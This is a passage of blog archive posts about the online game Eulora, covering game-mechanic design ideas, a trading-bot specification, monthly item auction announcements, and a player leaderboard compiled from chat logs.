That the problem never finds its correct solution in the hands of, to quote "AAA industry" is yet again testament to the simple fact that either you're with us, the terrorists, working to destroy fiat sovereigns and everything they stand for ; or else you're with them, the stupid, and you will never ever have nice things. [↩]

« O hey, is it November yet ?

"There is no such thing as rape", one of countless practical exercises. »

Category: S.MG

Sunday, 10 July, Year 8 d.Tr.

Euloran Biology

Let's do something we rarely even consider doing here in the vaunted halls of Minigame : discuss the scientific models behind the game mechanics!

I. Cellular Automata and Mineral Resource Deployment. You perhaps recall those maps. One particularly confounding aspect of game mechanics (among the very numerous diverse cogs and other moving bits and partsi that the players have not so far either documented or as much as fully enumerated) is the placement of mineral resources. Where exactly are specific items to be found ?ii

For the longest time the resource map was essentially static, or at least so it appeared to the playerbase - every coordinate has a resource associated and that's that pretty much. Recently however we dialed a certain knob from 0 to 1iii, and now it's not quite so certain what exactly you'll find where - and especially so the more valuable the find.

The next step is introducing cellular automata to handle resource projectionsiv, the obvious implication of which being that time will also become a factor. That is no idle consideration, because of the dozen-ish months/planets/attributes extant on the Euloran firmament ; and the confounding involvement of the seven-ish Gods in their respective interractions.v

II. Genetics and Individualised Items. You probably played Diablo. And you probably remember the exquisite Diablo item naming convention, all those Socketed Unspeakable Thing of Blind Rage, Black Blackhand, Titanium Thrusting Rusty Hammer of the Stars and so on and so forth that left an indelible mark permanently etched in the reptillian brain of any packrat that ever lived. Well then! How do you get such things meaningfully produced inside a game like Eulora, rather than simply random-rolled like in the clickslasher that was Diablo ?

Suppose, and I say this just for the sake of argument and discussion, suppose there was a hidden vector related to any stack of anything in a game, for convenience sake let's represent such as an unterminated string consisting of letters followed by two digits. Like so : A94 b02 B11 d21 D94 t15 W17. Or like so : h22 K03 l01 P78 W47. Now suppose these two items are used together to produce another item, and suppose that the digits reference genes, with the convention that leading 0 indicates a dominant gene whereas nonzero recessive, and the letters reference allele setsvi. So the two things are mixed together, and what you get is, perhaps, b02 D94 K03 P78 W33. Because for whatever complex reasons, who knows how exactly genes interact, right ? And suppose that if the item is the kind of item that can express genes, such as an Axe, then it just might so express them! So it'll be the Rusty Axe of Doom because in the context of Axes b02 encodes for Rusty and W33 encodes for Doom. Why the hell not ?

It's just crazy enough to work, I say!

———Incidentally, wouldn't it be great if the Eulora wiki had a page dedicated to such mysteries ? [↩]Anywhere, including the moon, apparently! [↩]Well technically we dialed it to 11 originally, but it caused chaos and so we brought it back down to sanity soon thereafter. [↩]This is being modelled yet, not so far implemented. If you have a peculiarly clever CA you'd wish considered for the intermingling of many dozen different resource types on a one million cell map, feel free to discuss. [↩]To form a broad idea of how this works : you're no doubt familiar with the endlessly reimplemented trope of MMORPGs called variously "elemental rock-paper-scissors". Well, Eulora doesn't use three elements, nor four, nor five. Twelve-ish.

Just as important : the relationships aren't fixed! The way this ERPS thing works traditionally is you have three elements, say Fire, Water and Earth. Then Earth gets 50% more attack if attacking Water, and 50% less attack if attacking Fire ; whereas Water gets 50% more attack if attacking Fire but 50% less if atttacking Earth ; leaving Fire to enjoy 50% more attack against Earth while 50% less against Water. The scheme is fixed : next 1.5, previous 0.5. It's also unbalanced, because 1.5 * .5 doesn't come out to 1, but who are we to know math. The creative people who create creations didn't like math in school, which is how they ended up being "creative", amirite ?

But maybe they did, suppose for the sake of argument they did go to school and are in the habit of giving more than a fleeting thought to whatever it is they happen to be making. We've just ruled out 99.x% of all games ever made (not counting the ones never released) but at least we're looking at a solid system with say five elements, correctly balanced and with granularity even. Say C does 115% to E and 87% to A, 125% to D and 80% to B. Well, even in this neatly crafted elemental wheel the relationships are still fixed! +1 is max debuff, -1 is max buff, +2 is min debuff, -2 is min buff, this doesn't change.

No such thing in Eulora : each God introduces his own mask upon the same Planetary Wheel, creating different end results! Suppose for the sake of illustration that Bob the God makes +2 max buff +1 min buff -1 max debuff and that's it, while Rob the God makes -3 min buff -2 max buff -1 max debuff. "And how do you know which one is in play ?", you ask ? Well, that'd depend on which God controls the particular encounter, wouldn't it!

If at this point you're thinking all this is starting to sound a heck of a lot like a rotor cipher a la Enigma you're exactly my kind of guy, you clever cookie you, because that's exactly what it is. You see, it's not true that computer games can't be made breathtakingly interesting, it's just that one has to actually try. No, not just any one. [↩]Or if you prefer, the loci where genes go. [↩]

« Asscience

Consumerism is not the answer, though it will put you to sleep ; or, American History X »

Category: S.MG

Monday, 18 April, Year 8 d.Tr.

Eulora tradebot spec

As per discussion in channel :

The bot is started with the command /bot setshop ; and stopped with the command /bot closehop.

When put into shop mode, the bot will read comma separated values from the file bot-shop.txt. The format is as follows :

name,sell,buy,qmax,qmin,climit

as for instance

WWB,160,150,300,5,27500

Which would signify that the bot is willing to sell WWB from its inventory at 160% of their quality-adjusted base value ; or else buy WWB of quality no higher than 300, and no lower than 5, up to a total count of 27`500 units.

When put into shop mode, the bot will build the list of all the stacks that it holds in inventory that are mentioned in bot-shop.txt.

When put into shop mode, the bot will build the list of all the banned players, on the basis of the first field in the file scammers.txt found in /.Eulora/logs/. The format of this file should be

name, comment

While in shop mode, every hour the bot will produce a line in public chat reading "I am buying :" followed by a list of names it is buying ; followed by "and I am selling :" followed by a list of names it is selling.

While in shop mode, the bot will automatically respond to all whispers (with a whisper), and to all invocations of its name that it hears in public chat (the client highlights these) that come from players not matching 4 and contain one or more strings matching the list created in 3 with a list of the entries in the file it loaded at 2, formatted as follows :

I sell WWB at 160%, and have 2000q196 currentlyi ; I buy WWB q5to q300 at 150%, up to 27`500 units.

Followed by "I am at X Y." giving its coordinates (the first and third figure returned by /pos).

The bot should automatically accept all trade requests from players not found in scammers.txt ; and automatically reject all others. The bot should automatically cancel all pending trades that have been pending for longer than three minutes.

If at the time it hears a string matching a given name it has the trade window open, and the name of the player that mentioned the matching string matches the name of the player it has the window open with, and there is money in the trade window placed by that player ; then the bot should split a quantity of the matching product equal to the integer division of the sum of money by the unit price and place it in trade. The bot should also give change for the remainder, if it has it available.

If at any point during an open trade the bot sees the other party accepting the trade, it should check the value of the goods on its side versus the value of the goods on the other party's side. If equal or to its advantage, it should accept ; otherwise it should cancel the trade and enter a summary line into scammers.txt with the name of the other player and the situation of the trade.

Immediately after accepting a trade in which it bought something, the bot should open the storage and dump the products he has bought before accepting new trades. If the storage is not accessible, the bot should wait for five minutes and try to store again ; and repeat this cycle until successfully stored.

After completing a trade, the bot should enter a line into tradelog.txt in /.Eulora/logs/, in the format

timestamp,from,name,quantity,quality,price

such as for instance

Fri Sep 16 15:37:53 ART 2016,Mircea Mircescu,WWB,100,195,43992

If the name of the other party matches "Shinoa Fores", the bot should offer a 1% discount towards sells and a 1% premium over buys, so that in the example case it would pay 151% to buy and charge 159% to sell the WWB.

———Presuming he has 2k units at q 196. Bot should only describe the first stack in its inventory. [↩]

« Trilingual Charm-Harm

Kuffs »

Category: Bitcoin

Friday, 16 September, Year 8 d.Tr.

Eulora : Official May Auction, or a celebration of lifestyles!

Continuing the tradition of the monthly Minigame official auction inaugurated last month, we shall meet in game Sunday, May the 15th at 17:00 ARTi to celebrate our top hat capitalistic lifestyles by disposing of the following :

The First Package Of Top Hat Capitalistic Lifestyles, consisting of :

5`000 Questionable Flagon Designs, q 257, BV 8`506`700 ECU

The Second Package Of Top Hat Capitalistic Lifestyles, consisting of :

5`000 Water of Anamnesia Plans, q 313, BV 19`171`250 ECU

The Third Package Of Top Hat Capitalistic Lifestyles, consisting of :

1`000 Improved Cruddy Hoe Plans, q 294, BV 12`971`280 ECU

The Fourth Package Of Top Hat Capitalistic Lifestyles, consisting of :

1`000 Doubtful Tome Doodlesii, q 119, BV 10`526`740 ECU

As before, each package will auction independently from the first to last. The starting bid will be the base value rounded up to the closest million. See you there!

———Argentina time. Comes to 20:00 GMT, 16:00 New York time or 13:00 Frisco time. [↩]Note that this 1k DTd matches up with the 1`500 BoD recipes already sold in previous auctions. In principle there should be no further Minigame sales of either kind of blueprint - players should be able to keep the Cons engine running on their own by now.

And on that note : the Flagons/Waters match up the previous complaisance sale of Toils - together these should allow players a starting warchest of two stacks or so of Numina for each profession. There's no intention to further feed this line either, players should be able to make their own just fine. Meanwhile the stocks of blueprints for the various crafting tables seem sufficient, and generally speaking it's altogether unclear that anything would still need to be added, which means there may not even be a June official auction altogether. But... we shall see. [↩]

« Consumerism is not the answer, though it will put you to sleep ; or, American History X

Closing X.EUR »

Category: S.MG

Tuesday, 19 April, Year 8 d.Tr.

Eulora : Official April Auction, or A Story of Toils

One can scarcely believe almost an entire month flew since the last official Minigame (MPEx:S.MG) auctioni in Eulora! Yet... fugit irreparabile tempus, and here we are. Oh, how have things changed since that time!

For the month of April 2016 (as I'm thinking of making these a once-a-month kinda thing), we shall meet in game Sunday, April 17th at 17:00 ARTii to dispose of the following :

The First Package Of Toils, consisting of :

1`000 Toils of Bouquinism, q 150, BV 1`839`000 ECU

The Second Package Of Toils, consisting of :

1`000 Toils of Gumbo, q 150, BV 1`839`000 ECU

The Third Package Of Toils, consisting of :

1`000 Toils of Lapidary, q 150, BV 1`839`000 ECU

The Fourth Package Of Toils, consisting of :

1`000 Toils of McGuyver, q 150, BV 1`839`000 ECU

The Fifth Package Of Toils, consisting of :

1`000 Toils of Tinkering, q 150, BV 1`839`000 ECU

The Sixth Package Of Toils, consisting of :

10 Drudgery of Bouquinismiii, q 500, BV 768`750 ECU

10 Drudgery of Gumbo, q 500, BV 768`750 ECU

10 Drudgery of Lapidary, q 500, BV 768`750 ECU

10 Drudgery of McGuyver, q 500, BV 768`750 ECU

10 Drudgery of Tinkering, q 500, BV 768`750 ECU

50 Remembrance Tincture Concoction, q 500, BV 3`537`000 ECU

The Seventh Package Of Toils, consisting of :

1`000 Black of Desspayr Recipes, q 60, BV 1`750`200 ECU

The Eighth Package Of Toils, consisting of :

2`000 Misshaped Ampoule Designs, q 60, BV 1`614`000 ECU

The Ninth Package Of Toils, consisting of :

5`000 Pointedly Odorous Charcoal Conceptions, q 77, BV 1`932`700 ECU

The Tenth Package Of Toils, consisting of :

1 Turning Wheel Recipe, q 1`337, BV 530`173 ECU

The Eleventh Package Of Toils, consisting of :

3 Turning Wheel Recipe, q 211, BV 251`009 ECU

The Twelfth Package Of Toils, consisting of :

20 Turning Wheel Recipe, q 89, BV 705`841 ECU

Each package will auction independently, we'll go from the first to the last. Packages one through nine will be going on the block for opening bids of 2mn each, with the exception of package six which will start at 7.5mn. Packages ten, eleven and twelve will go on the block for opening bids of 1mn each.

As they say back at the cauldron : bubble, bubble, toil and trouble!

———If you're curious, the things went for 18mn. Daniel won. [↩]Argentina time. Comes to 20:00 GMT, 16:00 New York time or 13:00 Frisco time. [↩]Hey, check that out, the Drudgery line was added at the same time the Toil line was added, yet nobody looted any! Two months!

[↩]

« Dark Horse

Calidad de Vida, or My Days Among The Cargo Cult. »

Category: S.MG

Sunday, 10 April, Year 8 d.Tr.

Eulora Hall of Fame

Inspired by a chat in chan, I went

~/.Eulora/logs$ ls -tr | grep "_chat" | xargs cat | grep " Mircea Mircescu\|BTC" >> pops.txt

into the nearest terminal. Allow me to share pops.txt with you!

Sat 13-Jun-2015 (15:53:33) >Grundin has managed 706 BTC worth of crafting! Congratulations!

Hurr. I remember that day like it was yesterday, for some reason the announced BTC figure was obtained by dividing by 10`000 instead of 1`000`000 so... you know. No harm done, but panic city, poor Chetty.

Moving on

Sun 14-Jun-2015 (14:29:26) >Mircea has managed 0 BTC worth of building! Congratulations!

Sun 14-Jun-2015 (15:01:38) >Mircea has managed 0 BTC worth of building! Congratulations!

Sat 04-Jul-2015 (06:07:28) >Mircea has managed 0 BTC worth of crafting! Congratulations!

Sat 04-Jul-2015 (07:12:48) >Mircea has managed 0 BTC worth of crafting! Congratulations!

For a while it reported finds rounded to the closest BTC, so we don't know what all that was. Prolly 0.01.

Tue 07-Jul-2015 (23:08:22) >Mircea has managed 0.010000 BTC worth of crafting! Congratulations!

Then too many decimals. But eventually settled on the following format :

Mon 20-Jul-2015 (18:56:54) >Mircea has managed 0.09 BTC worth of building! Congratulations!

Tue 21-Jul-2015 (14:59:15) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Sun 26-Jul-2015 (14:45:17) >Daniel has managed 0.01 BTC worth of crafting! Congratulations!

Sun 02-Aug-2015 (14:34:45) >Mircea has managed 0.03 BTC worth of crafting! Congratulations!

Tue 04-Aug-2015 (15:50:33) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Thu 13-Aug-2015 (01:24:16) >Mircea has managed 0.06 BTC worth of crafting! Congratulations!

Thu 27-Aug-2015 (18:29:39) >Daniel has managed 0.03 BTC worth of building! Congratulations!

Thu 28-Aug-2015 (03:51:56) >Mircea has managed 0.17 BTC worth of crafting! Congratulations!

Sat 29-Aug-2015 (18:27:53) >Mircea has managed 0.13 BTC worth of crafting! Congratulations!

Sat 29-Aug-2015 (21:14:37) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Sun 30-Aug-2015 (01:12:56) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Sun 30-Aug-2015 (01:57:06) >Mircea has managed 0.06 BTC worth of crafting! Congratulations!

Mon 31-Aug-2015 (05:36:25) >Foxy has managed 0.03 BTC worth of crafting! Congratulations!

Mon 31-Aug-2015 (15:16:54) >Mircea has managed 0.03 BTC worth of crafting! Congratulations!

Wed 02-Sep-2015 (19:20:26) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Thu 03-Sep-2015 (16:34:40) >Daniel has managed 0.01 BTC worth of crafting! Congratulations!

Fri 04-Sep-2015 (09:26:09) >Mircea has managed 0.02 BTC worth of building! Congratulations!

Sat 05-Sep-2015 (00:19:02) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Sun 20-Sep-2015 (23:38:02) >Daniel has managed 0.01 BTC worth of (null)! Congratulations!

Wed 23-Sep-2015 (19:36:54) >Daniel has managed 0.04 BTC worth of building! Congratulations!

Mon 05-Oct-2015 (15:49:26) >Foxy has managed 0.02 BTC worth of building! Congratulations!

Tue 13-Oct-2015 (11:08:25) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Tue 13-Oct-2015 (18:31:20) >Grundin has managed 0.02 BTC worth of crafting! Congratulations!

Mon 19-Oct-2015 (03:44:30) >Mircea has managed 0.04 BTC worth of building! Congratulations!

Thu 22-Oct-2015 (12:48:19) >Mircea has managed 0.02 BTC worth of crafting! Congratulations!

Tue 27-Oct-2015 (21:55:23) >Mircea has managed 0.01 BTC worth of building! Congratulations!

Thu 29-Oct-2015 (20:46:01) >Mircea has managed 0.02 BTC worth of building! Congratulations!

Sun 01-Nov-2015 (02:20:13) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Fri 06-Nov-2015 (18:53:23) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Sat 07-Nov-2015 (10:18:37) >Mircea has managed 0.05 BTC worth of building! Congratulations!

Mon 09-Nov-2015 (18:05:55) >Mircea has managed 0.03 BTC worth of building! Congratulations!

Wed 11-Nov-2015 (20:27:32) >Grenadine has managed 0.01 BTC worth of crafting! Congratulations!

Thu 12-Nov-2015 (14:38:30) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Thu 12-Nov-2015 (17:07:06) >Foxy has managed 0.02 BTC worth of crafting! Congratulations!

Sun 15-Nov-2015 (13:46:50) >Grenadine has managed 0.08 BTC worth of (null)i! Congratulations!

Mon 16-Nov-2015 (13:43:51) >Grenadine has managed 0.08 BTC worth of (null)! Congratulations!

Mon 16-Nov-2015 (14:26:11) >Grenadine has managed 0.08 BTC worth of (null)! Congratulations!

Tue 17-Nov-2015 (19:01:29) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Wed 18-Nov-2015 (04:43:49) >Mircea has managed 0.05 BTC worth of crafting! Congratulations!

Wed 18-Nov-2015 (07:22:43) >Mircea has managed 0.04 BTC worth of crafting! Congratulations!

Wed 18-Nov-2015 (08:12:28) >Mircea has managed 0.25 BTC worth of crafting! Congratulations!

Wed 18-Nov-2015 (09:39:05) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Wed 18-Nov-2015 (15:09:32) >Mircea has managed 0.04 BTC worth of crafting! Congratulations!

Sat 21-Nov-2015 (00:43:02) >Mircea has managed 0.02 BTC worth of crafting! Congratulations!

Mon 23-Nov-2015 (02:18:02) >Mircea has managed 0.01 BTC worth of crafting! Congratulations!

Tue 24-Nov-2015 (05:41:12) >Mircea has managed 0.10 BTC worth of building! Congratulations!

Tue 01-Dec-2015 (22:37:58) >Grenadine has managed 0.02 BTC worth of (null)! Congratulations!

Thu 10-Dec-2015 (11:17:22) >Foxy has managed 0.01 BTC worth of crafting! Congratulations!

Sat 12-Dec-2015 (11:09:33) >Foxy has managed 0.01 BTC worth of crafting! Congratulations!

Tue 22-Dec-2015 (06:17:26) >Grundin has managed 0.01 BTC worth of building! Congratulations!

Sun 10-Jan-2016 (04:59:09) >Foxy has managed 0.01 BTC worth of crafting! Congratulations!

Tue 26-Jan-2016 (05:35:58) >Daniel has managed 0.01 BTC worth of crafting! Congratulations!

Tue 02-Feb-2016 (06:21:36) >Foxy has managed 0.01 BTC worth of building! Congratulations!

Sat 06-Feb-2016 (19:09:06) >Mircea has managed 0.07 BTC worth of crafting! Congratulations!

Sat 06-Feb-2016 (22:11:47) >Mircea has managed 0.02 BTC worth of crafting! Congratulations!

Fri 12-Feb-2016 (09:50:14) >Mircea has managed 0.01 BTC worth of building! Congratulations!

Mon 22-Feb-2016 (09:52:49) >Mircea has managed 0.03 BTC worth of building! Congratulations!

Tue 23-Feb-2016 (12:19:28) >Foxy has managed 0.01 BTC worth of building! Congratulations!

Then, earlier this year we finally made things a little more descriptive :

Sun 20-Mar-2016 (08:33:10) >Mircea has got 0.01 BTC worth of Solid Branch and loot, while building. Congratulations!

Sun 20-Mar-2016 (17:08:50) >Mircea has got 0.01 BTC worth of Solid Branch and loot, while building. Congratulations!

Sun 20-Mar-2016 (22:34:03) >Mircea has got 0.01 BTC worth of Chetty's Divining Stick and loot, while crafting. Congratulations!

Thu 24-Mar-2016 (03:15:27) >Foxy has got 0.03 BTC worth of Polished Small Stone and loot, while building. Congratulations!

Fri 25-Mar-2016 (12:23:33) >Foxy has got 0.02 BTC worth of Polished Small Stone and loot, while building. Congratulations!

Sun 03-Apr-2016 (03:12:46) >Foxy has got 0.01 BTC worth of Clump of Dry Grass and loot, while building. Congratulations!

Tue 05-Apr-2016 (11:52:47) >Mircea has got 0.01 BTC worth of Unsteady Scaffolding and loot, while crafting. Congratulations!

Tue 05-Apr-2016 (07:13:25) >Mircea has got 0.01 BTC worth of Crumbly Rock and loot, while building. Congratulations!

Thu 07-Apr-2016 (10:56:29) >Daniel has got 0.02 BTC worth of Clump of Dry Grass and assorted loot while building. Congratulations!

Thu 07-Apr-2016 (04:59:20) >Daniel has got 0.01 BTC worth of Braided Coarse Thread and assorted loot while crafting. Congratulations!

Thu 07-Apr-2016 (11:43:17) >Daniel has got 0.01 BTC worth of Coarse Cordage and assorted loot while crafting. Congratulations!

Sun 10-Apr-2016 (02:09:28) >Foxy has got 0.05 BTC worth of Spicy Moss and assorted loot while building. Congratulations!

Mon 11-Apr-2016 (03:47:05) >Foxy has got 0.03 BTC worth of Clump of Dry Grass and assorted loot while building. Congratulations!

Wed 13-Apr-2016 (02:57:03) >Korgan has got 0.06 BTC worth of Two Leaf Clover and assorted loot while building. Congratulations!

Mon 18-Apr-2016 (04:49:28) >Mircea has got 0.03 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Mon 18-Apr-2016 (09:19:26) >Mircea has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Tue 19-Apr-2016 (04:38:13) >Mircea has got 0.02 BTC worth of Little Bit O' Nothing and assorted loot while crafting. Congratulations!

Mon 25-Apr-2016 (03:56:17) >Daniel has got 0.02 BTC worth of Bird's Nest and assorted loot while building. Congratulations!

Wed 27-Apr-2016 (19:03:50) >Daniel has got 0.01 BTC worth of Grotesque Sacrifice Token and assorted loot while unknown activity. Congratulations!

Wed 27-Apr-2016 (21:16:54) >Daniel has got 0.01 BTC worth of Bird's Nest and assorted loot while building. Congratulations!

Wed 27-Apr-2016 (07:00:01) >Foxy has got 0.02 BTC worth of Worthless Putrid Leather and assorted loot while building. Congratulations!

Wed 04-May-2016 (23:56:22) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Wed 04-May-2016 (02:31:23) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Wed 04-May-2016 (03:30:06) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Wed 04-May-2016 (05:29:05) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Wed 04-May-2016 (06:30:55) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Wed 04-May-2016 (07:34:18) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Thu 05-May-2016 (09:35:32) >Grenadine has got 0.01 BTC worth of Maculature I and assorted loot while crafting. Congratulations!

Fri 06-May-2016 (03:24:10) >Foxy has got 0.03 BTC worth of Wooly Mushroom and assorted loot while building. Congratulations!

Sun 08-May-2016 (19:12:23) >Foxy has got 0.01 BTC worth of Shiny Rock and assorted loot while building. Congratulations!

Mon 09-May-2016 (08:35:21) >Mircea has got 0.03 BTC worth of Black of Desspayr and assorted loot while crafting. Congratulations!

Tue 11-May-2016 (10:19:22) >Mircea has got 0.01 BTC worth of Leaky Treebark Flask and assorted loot while crafting. Congratulations!

Tue 11-May-2016 (10:41:33) >Daniel has got 0.01 BTC worth of Water of Anamnesia and assorted loot while crafting. Congratulations!

With the mention that earlyii pops significantly understate the pop valueiii, the all-time popper top to date would read as :

Mircea Mircescu, 1.67 BTC total popped (167 mn ECu)

Grenadine Sippycup, 0.34 BTC total popped (34 mn ECu)

Foxy Foxter, 0.32 BTC total popped (32 mn ECu)

Daniel Barron, 0.20 BTC total popped (20 mn ECu)

Korgan Stonekrusher, 0.06 BTC total popped (6 mn ECu)

Grundin Goldskull, 0.03 BTC total popped (3 mn ECu)

Congrats to the winners, which means me! E-hehehehehehe! Gawd I'm good!

As to the occupations,

Crafting, 1.49 BTC total popped (149 mn ECu)

Building, 0.86 BTC total popped (86 mn ECu)

Sacrifice, 0.28 BTC total popped (28 mn ECu)

I'm too lazy to do the per-item calcs, but I think you get the general idea. Once again congratulations to me while I congratulate myself, and lets see how many digits we can add to the total figure before June 2017 rolls around!

———This means Sacrifice. [↩]Pre March 20 format change. [↩]They miss a few mining finds, and of those they report they miss a fraction of the value popped ; they also miss the crafted item value in reporting crafting pops (if for instance you're making an item worth 500k and get loot worth 600k you won't pop at all, because it sees you at 600k instead of 1.1mn).

That aside all pop values are obviously given in base value terms. The system has no idea about market value of items, so the "true value" of any pop may wildly exceed what's announced, and unfixably so. [↩]

« STFU, Attention Whore Culture.

The Megawatt standard »

Category: S.MG

Wednesday, 11 May, Year 8 d.Tr.